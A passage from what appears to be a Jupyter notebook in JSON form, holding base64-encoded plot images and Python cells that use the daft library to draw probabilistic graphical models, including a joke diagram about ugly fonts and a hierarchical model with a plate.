p0KEDs2bNIi4ujv79+/Pt\n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\n", "text/plain": [ "<Figure size 204.094x102.047 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from matplotlib import rc\n", "\n", "ff = \"comic sans ms\"\n", "# ff = \"impact\"\n", "# ff = \"times new roman\"\n", "\n", "rc(\"font\", family=ff, size=12)\n", "rc(\"text\", usetex=False)\n", "\n", "import daft\n", "\n", "pgm = daft.PGM([3.6, 1.8], origin=[2.2, 1.6], aspect=2.1)\n", "pgm.add_node(daft.Node(\"confused\", r\"confused\", 3.0, 3.0))\n", "pgm.add_node(daft.Node(\"ugly\", r\"ugly font\", 3.0, 2.0, observed=True))\n", "pgm.add_node(daft.Node(\"bad\", r\"bad talk\", 5.0, 2.0, observed=True))\n", "pgm.add_edge(\"confused\", \"ugly\")\n", "pgm.add_edge(\"ugly\", \"bad\")\n", "pgm.add_edge(\"confused\", \"bad\")\n", "pgm.render()\n", "plt.show(pgm.ax)" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 130.394x116.22 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from matplotlib import rc\n", "rc(\"font\", family=\"serif\", size=12)\n", "rc(\"text\", usetex=True)\n", "\n", "import daft\n", "\n", "# Instantiate the PGM.\n", "pgm = daft.PGM([2.3, 2.05], origin=[0.3, 0.3])\n", "\n", "# Hierarchical parameters.\n", "pgm.add_node(daft.Node(\"alpha\", r\"$\\alpha$\", 0.5, 2, fixed=True))\n", "pgm.add_node(daft.Node(\"beta\", r\"$\\beta$\", 1.5, 2))\n", "\n", "# Latent variable.\n", "pgm.add_node(daft.Node(\"w\", r\"$w_n$\", 1, 1))\n", "\n", "# Data.\n", "pgm.add_node(daft.Node(\"x\", r\"$x_n$\", 2, 1, observed=True))\n", "\n", "# Add in the edges.\n", "pgm.add_edge(\"alpha\", \"beta\")\n", "pgm.add_edge(\"beta\", \"w\")\n", "pgm.add_edge(\"w\", \"x\")\n", "pgm.add_edge(\"beta\", \"x\")\n", "\n", "# And a plate.\n", "pgm.add_plate(daft.Plate([0.5, 0.5, 2, 1], label=r\"$n = 1, \\cdots, N$\",\n", " shift=-0.1))\n", "\n", "# Render and save.\n", "pgm.render()\n", "plt.show(pgm.ax)" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nH